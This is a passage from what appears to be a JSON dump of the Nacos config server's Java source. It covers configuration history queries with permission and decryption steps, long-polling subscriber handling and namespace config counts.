http.\n     *\n     * @param url      url.\n     * @param encoding encoding.\n     * @return result.\n     * @throws Exception exception.\n     */\n    public static RestResult<String> invokeUrl(String url, String encoding) throws Exception {\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.ACCEPT_CHARSET, encoding);\n        NacosAuthConfig authConfig = NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosServerAuthConfig.NACOS_SERVER_AUTH_SCOPE);\n        AuthHeaderUtil.addIdentityToHeader(header, authConfig);\n        return HttpClientManager.getNacosRestTemplate().get(url, header, Query.EMPTY, String.class);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/HistoryService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.enums.OperationType;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfoDetail;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * HistoryService.\n *\n * @author dongyafei\n * @date 2022/8/11\n */\n@Service\npublic class HistoryService {\n    \n    private final HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private final ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    public HistoryService(HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigInfoPersistService configInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService) {\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n    }\n    \n    /**\n     * Query the list history config.\n     */\n    public Page<ConfigHistoryInfo> listConfigHistory(String dataId, String group, String namespaceId, Integer pageNo,\n            Integer pageSize) {\n        return historyConfigInfoPersistService.findConfigHistory(dataId, group, namespaceId, pageNo, pageSize);\n    }\n    \n    /**\n     * Query the detailed configuration history information.\n     */\n    public ConfigHistoryInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws AccessException {\n        ConfigHistoryInfo configHistoryInfo = historyConfigInfoPersistService.detailConfigHistory(nid);\n        if (Objects.isNull(configHistoryInfo)) {\n            return null;\n        }\n        // check if history config match the input\n        checkHistoryInfoPermission(configHistoryInfo, dataId, group, namespaceId);\n        \n        String encryptedDataKey = configHistoryInfo.getEncryptedDataKey();\n        Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey,\n                configHistoryInfo.getContent());\n        configHistoryInfo.setContent(pair.getSecond());\n        \n        return configHistoryInfo;\n    }\n    \n    /**\n     * Query previous config history information.\n     */\n    public ConfigHistoryInfo getPreviousConfigHistoryInfo(String dataId, String group, String namespaceId, Long id)\n            throws AccessException {\n        ConfigHistoryInfo configHistoryInfo = historyConfigInfoPersistService.detailPreviousConfigHistory(id);\n        if (Objects.isNull(configHistoryInfo)) {\n            return null;\n        }\n        // check if history config match the input\n        checkHistoryInfoPermission(configHistoryInfo, dataId, group, namespaceId);\n        \n        String encryptedDataKey = configHistoryInfo.getEncryptedDataKey();\n        Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey,\n                configHistoryInfo.getContent());\n        configHistoryInfo.setContent(pair.getSecond());\n        \n        return configHistoryInfo;\n    }\n    \n    /**\n     * Query configs list by namespace.\n     */\n    public List<ConfigInfoWrapper> getConfigListByNamespace(String namespaceId) {\n        return configInfoPersistService.queryConfigInfoByNamespace(namespaceId);\n    }\n    \n    /**\n     * Check if the input dataId,group and namespaceId match the history config.\n     */\n    private void checkHistoryInfoPermission(ConfigHistoryInfo configHistoryInfo, String dataId, String group,\n            String namespaceId) throws AccessException {\n        if (!Objects.equals(configHistoryInfo.getDataId(), dataId) || !Objects.equals(configHistoryInfo.getGroup(),\n                group) || !Objects.equals(configHistoryInfo.getTenant(), namespaceId)) {\n            throw new AccessException(\"Please check dataId, group or namespaceId.\");\n        }\n    }\n    \n    /**\n     * Query the detailed config history info pair, including the original version and the updated version.\n     */\n    public ConfigHistoryInfoDetail getConfigHistoryInfoDetail(String dataId, String group, String namespaceId, Long nid)\n            throws AccessException {\n        ConfigHistoryInfo configHistoryInfo = historyConfigInfoPersistService.detailConfigHistory(nid);\n        if (Objects.isNull(configHistoryInfo)) {\n            return null;\n        }\n        \n        // check if history config match the input\n        checkHistoryInfoPermission(configHistoryInfo, dataId, group, namespaceId);\n        \n        // transform\n        ConfigHistoryInfoDetail configHistoryInfoDetail = new ConfigHistoryInfoDetail();\n        BeanUtils.copyProperties(configHistoryInfo, configHistoryInfoDetail);\n        configHistoryInfoDetail.setOpType(configHistoryInfoDetail.getOpType().trim());\n        \n        //insert\n        if (OperationType.INSERT.getValue().equals(configHistoryInfoDetail.getOpType())) {\n            configHistoryInfoDetail.setUpdatedContent(configHistoryInfo.getContent());\n            configHistoryInfoDetail.setUpdatedMd5(configHistoryInfo.getMd5());\n            configHistoryInfoDetail.setUpdatedEncryptedDataKey(configHistoryInfo.getEncryptedDataKey());\n            configHistoryInfoDetail.setUpdateExtInfo(configHistoryInfo.getExtInfo());\n            configHistoryInfoDetail.setOriginalExtInfo(StringUtils.EMPTY);\n            configHistoryInfoDetail.setOriginalContent(StringUtils.EMPTY);\n            configHistoryInfoDetail.setOriginalMd5(StringUtils.EMPTY);\n            configHistoryInfoDetail.setOriginalEncryptedDataKey(StringUtils.EMPTY);\n        }\n        \n        //update\n        if (OperationType.UPDATE.getValue().equals(configHistoryInfoDetail.getOpType())) {\n            \n            configHistoryInfoDetail.setOriginalExtInfo(configHistoryInfo.getExtInfo());\n            configHistoryInfoDetail.setOriginalContent(configHistoryInfo.getContent());\n            configHistoryInfoDetail.setOriginalMd5(configHistoryInfo.getMd5());\n            configHistoryInfoDetail.setOriginalEncryptedDataKey(configHistoryInfo.getEncryptedDataKey());\n            \n            ConfigHistoryInfo nextHistoryInfo = historyConfigInfoPersistService.getNextHistoryInfo(dataId, group,\n                    namespaceId, configHistoryInfoDetail.getPublishType(), configHistoryInfoDetail.getGrayName(), nid);\n            \n            ConfigInfo currentConfigInfo = null;\n            if (Objects.isNull(nextHistoryInfo)) {\n                //double check for concurrent\n                currentConfigInfo = StringUtils.isEmpty(configHistoryInfoDetail.getGrayName())\n                        ? configInfoPersistService.findConfigInfo(dataId, group, namespaceId)\n                        : configInfoGrayPersistService.findConfigInfo4Gray(dataId, group, namespaceId,\n                                configHistoryInfoDetail.getGrayName());\n                nextHistoryInfo = historyConfigInfoPersistService.getNextHistoryInfo(dataId, group, namespaceId,\n                        configHistoryInfoDetail.getPublishType(), configHistoryInfoDetail.getGrayName(), nid);\n                \n            }\n            \n            if (nextHistoryInfo != null) {\n                configHistoryInfoDetail.setUpdateExtInfo(nextHistoryInfo.getExtInfo());\n                configHistoryInfoDetail.setUpdatedContent(nextHistoryInfo.getContent());\n                configHistoryInfoDetail.setUpdatedMd5(nextHistoryInfo.getMd5());\n                configHistoryInfoDetail.setUpdatedEncryptedDataKey(nextHistoryInfo.getEncryptedDataKey());\n            } else {\n                configHistoryInfoDetail.setUpdatedContent(currentConfigInfo.getContent());\n                configHistoryInfoDetail.setUpdatedMd5(currentConfigInfo.getMd5());\n                configHistoryInfoDetail.setUpdatedEncryptedDataKey(currentConfigInfo.getEncryptedDataKey());\n    \n            }\n        }\n        \n        //delete\n        if (OperationType.DELETE.getValue().equals(configHistoryInfoDetail.getOpType())) {\n            configHistoryInfoDetail.setOriginalMd5(configHistoryInfo.getMd5());\n            configHistoryInfoDetail.setOriginalContent(configHistoryInfo.getContent());\n            configHistoryInfoDetail.setOriginalEncryptedDataKey(configHistoryInfo.getEncryptedDataKey());\n            configHistoryInfoDetail.setOriginalExtInfo(configHistoryInfo.getExtInfo());\n        }\n        \n        // decrypt content\n        if (StringUtils.isNotBlank(configHistoryInfoDetail.getOriginalContent())) {\n            String originalContent = EncryptionHandler.decryptHandler(dataId,\n                            configHistoryInfoDetail.getOriginalEncryptedDataKey(), configHistoryInfoDetail.getOriginalContent())\n                    .getSecond();\n            configHistoryInfoDetail.setOriginalContent(originalContent);\n        }\n        if (StringUtils.isNotBlank(configHistoryInfoDetail.getUpdatedContent())) {\n            String updatedContent = EncryptionHandler.decryptHandler(dataId,\n                            configHistoryInfoDetail.getUpdatedEncryptedDataKey(), configHistoryInfoDetail.getUpdatedContent())\n                    .getSecond();\n            configHistoryInfoDetail.setUpdatedContent(updatedContent);\n        }\n        \n        return configHistoryInfoDetail;\n    }\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/LongPollingConnectionMetricsCollector.java",
    "content": "/*\n *\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.plugin.control.connection.ConnectionMetricsCollector;\nimport com.alibaba.nacos.sys.utils.ApplicationUtils;\n\nimport java.util.stream.Collectors;\n\n/**\n * long polling connection metrics.\n *\n * @author shiyiyue\n */\npublic class LongPollingConnectionMetricsCollector implements ConnectionMetricsCollector {\n    \n    @Override\n    public String getName() {\n        return \"long_polling\";\n    }\n    \n    @Override\n    public int getTotalCount() {\n        return ApplicationUtils.getBean(LongPollingService.class).allSubs.size();\n    }\n    \n    @Override\n    public int getCountForIp(String ip) {\n        return ApplicationUtils.getBean(LongPollingService.class).allSubs.stream()\n                .filter(a -> a.ip.equalsIgnoreCase(ip)).collect(Collectors.toList()).size();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/LongPollingService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.remote.RpcScheduledExecutor;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.model.SampleResult;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.MD5Util;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.connection.request.ConnectionCheckRequest;\nimport com.alibaba.nacos.plugin.control.connection.response.ConnectionCheckResponse;\nimport org.springframework.stereotype.Service;\n\nimport jakarta.servlet.AsyncContext;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Queue;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.MEMORY_LOG;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.PULL_LOG;\n\n/**\n * LongPollingService.\n *\n * @author Nacos\n */\n@Service\npublic class LongPollingService {\n    \n    private static final int SAMPLE_PERIOD = 100;\n    \n    private static final int SAMPLE_TIMES = 3;\n    \n    private static final String TRUE_STR = \"true\";\n    \n    private Map<String, Long> retainIps = new ConcurrentHashMap<>();\n    \n    public SampleResult getSubscribleInfo(String dataId, String group, String tenant) {\n        String groupKey = GroupKey.getKeyTenant(dataId, group, tenant);\n        SampleResult sampleResult = new SampleResult();\n        Map<String, String> lisentersGroupkeyStatus = new HashMap<>(50);\n        \n        for (ClientLongPolling clientLongPolling : allSubs) {\n            if (clientLongPolling.clientMd5Map.containsKey(groupKey)) {\n                lisentersGroupkeyStatus.put(clientLongPolling.ip, clientLongPolling.clientMd5Map.get(groupKey).getMd5());\n            }\n        }\n        sampleResult.setLisentersGroupkeyStatus(lisentersGroupkeyStatus);\n        return sampleResult;\n    }\n    \n    public SampleResult getSubscribleInfoByIp(String clientIp) {\n        SampleResult sampleResult = new SampleResult();\n        Map<String, String> lisenersGroupkeyStatus = new HashMap<>(50);\n        \n        for (ClientLongPolling clientLongPolling : allSubs) {\n            if (clientLongPolling.ip.equals(clientIp)) {\n                // One ip can have multiple listener.\n                for (Map.Entry<String, ConfigListenState> entry : clientLongPolling.clientMd5Map.entrySet()) {\n                    lisenersGroupkeyStatus.put(entry.getKey(), entry.getValue().getMd5());\n                }\n            }\n        }\n        sampleResult.setLisentersGroupkeyStatus(lisenersGroupkeyStatus);\n        return sampleResult;\n    }\n    \n    /**\n     * Aggregate the sampling IP and monitoring configuration information in the sampling results. There is no problem\n     * for the merging strategy to cover the previous one with the latter.\n     *\n     * @param sampleResults sample Results.\n     * @return Results.\n     */\n    public SampleResult mergeSampleResult(List<SampleResult> sampleResults) {\n        SampleResult mergeResult = new SampleResult();\n        Map<String, String> lisentersGroupkeyStatus = new HashMap<>(50);\n        for (SampleResult sampleResult : sampleResults) {\n            Map<String, String> lisentersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();\n            for (Map.Entry<String, String> entry : lisentersGroupkeyStatusTmp.entrySet()) {\n                lisentersGroupkeyStatus.put(entry.getKey(), entry.getValue());\n            }\n        }\n        mergeResult.setLisentersGroupkeyStatus(lisentersGroupkeyStatus);\n        return mergeResult;\n    }\n    \n    public SampleResult getCollectSubscribleInfo(String dataId, String group, String tenant) {\n        List<SampleResult> sampleResultLst = new ArrayList<>(50);\n        for (int i = 0; i < SAMPLE_TIMES; i++) {\n            SampleResult sampleTmp = getSubscribleInfo(dataId, group, tenant);\n            if (sampleTmp != null) {\n                sampleResultLst.add(sampleTmp);\n            }\n            if (i < SAMPLE_TIMES - 1) {\n                try {\n                    Thread.sleep(SAMPLE_PERIOD);\n                } catch (InterruptedException e) {\n                    LogUtil.CLIENT_LOG.error(\"sleep wrong\", e);\n                }\n            }\n        }\n        \n        return mergeSampleResult(sampleResultLst);\n    }\n    \n    public SampleResult getCollectSubscribleInfoByIp(String ip) {\n        SampleResult sampleResult = new SampleResult();\n        sampleResult.setLisentersGroupkeyStatus(new HashMap<>(50));\n        for (int i = 0; i < SAMPLE_TIMES; i++) {\n            SampleResult sampleTmp = getSubscribleInfoByIp(ip);\n            if (sampleTmp != null) {\n                if (sampleTmp.getLisentersGroupkeyStatus() != null && !sampleResult.getLisentersGroupkeyStatus()\n                        .equals(sampleTmp.getLisentersGroupkeyStatus())) {\n                    sampleResult.getLisentersGroupkeyStatus().putAll(sampleTmp.getLisentersGroupkeyStatus());\n                }\n            }\n            if (i < SAMPLE_TIMES - 1) {\n                try {\n                    Thread.sleep(SAMPLE_PERIOD);\n                } catch (InterruptedException e) {\n                    LogUtil.CLIENT_LOG.error(\"sleep wrong\", e);\n                }\n            }\n        }\n        return sampleResult;\n    }\n    \n    /**\n     * Add LongPollingClient.\n     *\n     * @param req              HttpServletRequest.\n     * @param rsp              HttpServletResponse.\n     * @param clientMd5Map     clientMd5Map.\n     * @param probeRequestSize probeRequestSize.\n     */\n    public void addLongPollingClient(HttpServletRequest req, HttpServletResponse rsp, Map<String, ConfigListenState> clientMd5Map,\n            int probeRequestSize) {\n        \n        String noHangUpFlag = req.getHeader(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER);\n        \n        long start = System.currentTimeMillis();\n        Map<String, ConfigListenState> changedGroups = MD5Util.compareMd5(req, rsp, clientMd5Map);\n        if (changedGroups.size() > 0) {\n            generateResponse(req, rsp, changedGroups);\n            LogUtil.CLIENT_LOG.info(\"{}|{}|{}|{}|{}|{}|{}\", System.currentTimeMillis() - start, \"instant\",\n                    RequestUtil.getRemoteIp(req), \"polling\", clientMd5Map.size(), probeRequestSize,\n                    changedGroups.size());\n            return;\n        } else if (noHangUpFlag != null && noHangUpFlag.equalsIgnoreCase(TRUE_STR)) {\n            LogUtil.CLIENT_LOG.info(\"{}|{}|{}|{}|{}|{}|{}\", System.currentTimeMillis() - start, \"nohangup\",\n                    RequestUtil.getRemoteIp(req), \"polling\", clientMd5Map.size(), probeRequestSize,\n                    changedGroups.size());\n            return;\n        }\n        \n        // Must be called by http thread, or send response.\n        final AsyncContext asyncContext = req.startAsync();\n        // AsyncContext.setTimeout() is incorrect, Control by oneself\n        asyncContext.setTimeout(0L);\n        String ip = RequestUtil.getRemoteIp(req);\n        ConnectionCheckResponse connectionCheckResponse = checkLimit(req);\n        if (!connectionCheckResponse.isSuccess()) {\n            RpcScheduledExecutor.CONTROL_SCHEDULER.schedule(\n                    () -> generate503Response(asyncContext, rsp, connectionCheckResponse.getMessage()),\n                    1000L + ThreadLocalRandom.current().nextInt(2000), TimeUnit.MILLISECONDS);\n            return;\n        }\n        \n        String appName = req.getHeader(RequestUtil.CLIENT_APPNAME_HEADER);\n        String tag = req.getHeader(\"Vipserver-Tag\");\n        int delayTime = SwitchService.getSwitchInteger(SwitchService.FIXED_DELAY_TIME, 500);\n        int minLongPoolingTimeout = SwitchService.getSwitchInteger(\"MIN_LONG_POOLING_TIMEOUT\", 10000);\n        \n        // Add delay time for LoadBalance, and one response is returned 500 ms in advance to avoid client timeout.\n        String requestLongPollingTimeOut = req.getHeader(LongPollingService.LONG_POLLING_HEADER);\n        long timeout = Math.max(minLongPoolingTimeout, Long.parseLong(requestLongPollingTimeOut) - delayTime);\n        ConfigExecutor.executeLongPolling(\n                new ClientLongPolling(asyncContext, clientMd5Map, ip, probeRequestSize, timeout, appName, tag));\n    }\n    \n    private ConnectionCheckResponse checkLimit(HttpServletRequest httpServletRequest) {\n        String ip = RequestUtil.getRemoteIp(httpServletRequest);\n        String appName = httpServletRequest.getHeader(RequestUtil.CLIENT_APPNAME_HEADER);\n        ConnectionCheckRequest connectionCheckRequest = new ConnectionCheckRequest(ip, appName, \"LongPolling\");\n        ConnectionCheckResponse checkResponse = ControlManagerCenter.getInstance().getConnectionControlManager()\n                .check(connectionCheckRequest);\n        return checkResponse;\n    }\n    \n    public static boolean isSupportLongPolling(HttpServletRequest req) {\n        return null != req.getHeader(LONG_POLLING_HEADER);\n    }\n    \n    public LongPollingService() {\n        allSubs = new ConcurrentLinkedQueue<>();\n        \n        ConfigExecutor.scheduleLongPolling(new StatTask(), 0L, 10L, TimeUnit.SECONDS);\n        \n        // Register LocalDataChangeEvent to NotifyCenter.\n        NotifyCenter.registerToPublisher(LocalDataChangeEvent.class, NotifyCenter.ringBufferSize);\n        \n        // Register A Subscriber to subscribe LocalDataChangeEvent.\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                if (event instanceof LocalDataChangeEvent) {\n                    LocalDataChangeEvent evt = (LocalDataChangeEvent) event;\n                    ConfigExecutor.executeLongPolling(new DataChangeTask(evt.groupKey));\n                }\n                \n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return LocalDataChangeEvent.class;\n            }\n        });\n        \n    }\n    \n    public static final String LONG_POLLING_HEADER = \"Long-Pulling-Timeout\";\n    \n    public static final String LONG_POLLING_NO_HANG_UP_HEADER = \"Long-Pulling-Timeout-No-Hangup\";\n    \n    /**\n     * ClientLongPolling subscribers.\n     */\n    final Queue<ClientLongPolling> allSubs;\n    \n    class DataChangeTask implements Runnable {\n        \n        @Override\n        public void run() {\n            try {\n                for (Iterator<ClientLongPolling> iter = allSubs.iterator(); iter.hasNext(); ) {\n                    ClientLongPolling clientSub = iter.next();\n                    if (clientSub.clientMd5Map.containsKey(groupKey)) {\n                        \n                        getRetainIps().put(clientSub.ip, System.currentTimeMillis());\n                        iter.remove(); // Delete subscribers' relationships.\n                        LogUtil.CLIENT_LOG.info(\"{}|{}|{}|{}|{}|{}|{}\", (System.currentTimeMillis() - changeTime),\n                                \"in-advance\",\n                                RequestUtil.getRemoteIp((HttpServletRequest) clientSub.asyncContext.getRequest()),\n                                \"polling\", clientSub.clientMd5Map.size(), clientSub.probeRequestSize, groupKey);\n                        clientSub.sendResponse(Collections.singletonMap(groupKey, clientSub.clientMd5Map.get(groupKey)));\n                    }\n                }\n                \n            } catch (Throwable t) {\n                LogUtil.DEFAULT_LOG.error(\"data change error: {}\", ExceptionUtil.getStackTrace(t));\n            }\n        }\n        \n        DataChangeTask(String groupKey) {\n            this.groupKey = groupKey;\n        }\n        \n        final String groupKey;\n        \n        final long changeTime = System.currentTimeMillis();\n        \n    }\n    \n    class StatTask implements Runnable {\n        \n        @Override\n        public void run() {\n            MEMORY_LOG.info(\"[long-pulling] client count \" + allSubs.size());\n            MetricsMonitor.getLongPollingMonitor().set(allSubs.size());\n        }\n    }\n    \n    public class ClientLongPolling implements Runnable {\n        \n        @Override\n        public void run() {\n            asyncTimeoutFuture = ConfigExecutor.scheduleLongPolling(() -> {\n                try {\n                    getRetainIps().put(ClientLongPolling.this.ip, System.currentTimeMillis());\n                    \n                    // Delete subscriber's relations.\n                    boolean removeFlag = allSubs.remove(ClientLongPolling.this);\n                    \n                    if (removeFlag) {\n                        \n                        LogUtil.CLIENT_LOG.info(\"{}|{}|{}|{}|{}|{}\", (System.currentTimeMillis() - createTime),\n                                \"timeout\", RequestUtil.getRemoteIp((HttpServletRequest) asyncContext.getRequest()),\n                                \"polling\", clientMd5Map.size(), probeRequestSize);\n                        sendResponse(null);\n                        \n                    } else {\n                        LogUtil.DEFAULT_LOG.warn(\"client subsciber's relations delete fail.\");\n                    }\n                } catch (Throwable t) {\n                    LogUtil.DEFAULT_LOG.error(\"long polling error:\" + t.getMessage(), t.getCause());\n                }\n                \n            }, timeoutTime, TimeUnit.MILLISECONDS);\n            \n            allSubs.add(this);\n        }\n        \n        void sendResponse(Map<String, ConfigListenState> changedGroups) {\n            \n            // Cancel time out task.\n            if (null != asyncTimeoutFuture) {\n                asyncTimeoutFuture.cancel(false);\n            }\n            generateResponse(changedGroups);\n        }\n        \n        void generateResponse(Map<String, ConfigListenState> changedGroups) {\n            \n            if (null == changedGroups) {\n                // Tell web container to send http response.\n                asyncContext.complete();\n                return;\n            }\n            \n            HttpServletResponse response = (HttpServletResponse) asyncContext.getResponse();\n            \n            try {\n                final String respString = MD5Util.compareMd5ResultString(changedGroups);\n                \n                // Disable cache.\n                response.setHeader(\"Pragma\", \"no-cache\");\n                response.setDateHeader(\"Expires\", 0);\n                response.setHeader(\"Cache-Control\", \"no-cache,no-store\");\n                response.setStatus(HttpServletResponse.SC_OK);\n                response.getWriter().println(respString);\n                asyncContext.complete();\n            } catch (Exception ex) {\n                PULL_LOG.error(ex.toString(), ex);\n                asyncContext.complete();\n            }\n        }\n        \n        ClientLongPolling(AsyncContext ac, Map<String, ConfigListenState> clientMd5Map, String ip, int probeRequestSize,\n                long timeoutTime, String appName, String tag) {\n            this.asyncContext = ac;\n            this.clientMd5Map = clientMd5Map;\n            this.probeRequestSize = probeRequestSize;\n            this.createTime = System.currentTimeMillis();\n            this.ip = ip;\n            this.timeoutTime = timeoutTime;\n            this.appName = appName;\n            this.tag = tag;\n        }\n        \n        final AsyncContext asyncContext;\n        \n        final Map<String, ConfigListenState> clientMd5Map;\n        \n        final long createTime;\n        \n        final String ip;\n        \n        final String appName;\n        \n        final String tag;\n        \n        final int probeRequestSize;\n        \n        final long timeoutTime;\n        \n        Future<?> asyncTimeoutFuture;\n        \n        @Override\n        public String toString() {\n            return \"ClientLongPolling{\" + \"clientMd5Map=\" + clientMd5Map + \", createTime=\" + createTime + \", ip='\" + ip\n                    + '\\'' + \", appName='\" + appName + '\\'' + \", tag='\" + tag + '\\'' + \", probeRequestSize=\"\n                    + probeRequestSize + \", timeoutTime=\" + timeoutTime + '}';\n        }\n    }\n    \n    void generateResponse(HttpServletRequest request, HttpServletResponse response, Map<String, ConfigListenState> changedGroups) {\n        if (null == changedGroups) {\n            return;\n        }\n        \n        try {\n            final String respString = MD5Util.compareMd5ResultString(changedGroups);\n            // Disable cache.\n            response.setHeader(\"Pragma\", \"no-cache\");\n            response.setDateHeader(\"Expires\", 0);\n            response.setHeader(\"Cache-Control\", \"no-cache,no-store\");\n            response.setStatus(HttpServletResponse.SC_OK);\n            response.getWriter().println(respString);\n        } catch (Exception ex) {\n            PULL_LOG.error(ex.toString(), ex);\n        }\n    }\n    \n    void generate503Response(AsyncContext asyncContext, HttpServletResponse response, String message) {\n        \n        try {\n            \n            // Disable cache.\n            response.setHeader(\"Pragma\", \"no-cache\");\n            response.setDateHeader(\"Expires\", 0);\n            response.setHeader(\"Cache-Control\", \"no-cache,no-store\");\n            response.setStatus(HttpServletResponse.SC_SERVICE_UNAVAILABLE);\n            response.getWriter().println(message);\n            asyncContext.complete();\n        } catch (Exception ex) {\n            PULL_LOG.error(ex.toString(), ex);\n        }\n    }\n    \n    public Map<String, Long> getRetainIps() {\n        return retainIps;\n    }\n    \n    public int getSubscriberCount() {\n        return allSubs.size();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/NamespaceConfigInfoService.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.config.server.constant.PropertiesConstant;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.core.namespace.injector.AbstractNamespaceDetailInjector;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.stereotype.Service;\n\n/**\n * Namespace detail for config info.\n *\n * @author xiweng.yy\n */\n@Service\npublic class NamespaceConfigInfoService extends AbstractNamespaceDetailInjector {\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    public NamespaceConfigInfoService(ConfigInfoPersistService configInfoPersistService) {\n        this.configInfoPersistService = configInfoPersistService;\n    }\n    \n    @Override\n    public void injectDetail(Namespace namespace) {\n        \n        if (EnvUtil.getProperty(PropertiesConstant.DEFAULT_TENANT_QUOTA, Integer.class) != null) {\n            namespace.setQuota(EnvUtil.getProperty(PropertiesConstant.DEFAULT_TENANT_QUOTA, Integer.class));\n        }\n        \n        // set config count.\n        int configCount = configInfoPersistService.configInfoCount(namespace.getNamespace());\n        namespace.setConfigCount(configCount);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/SwitchService.java",
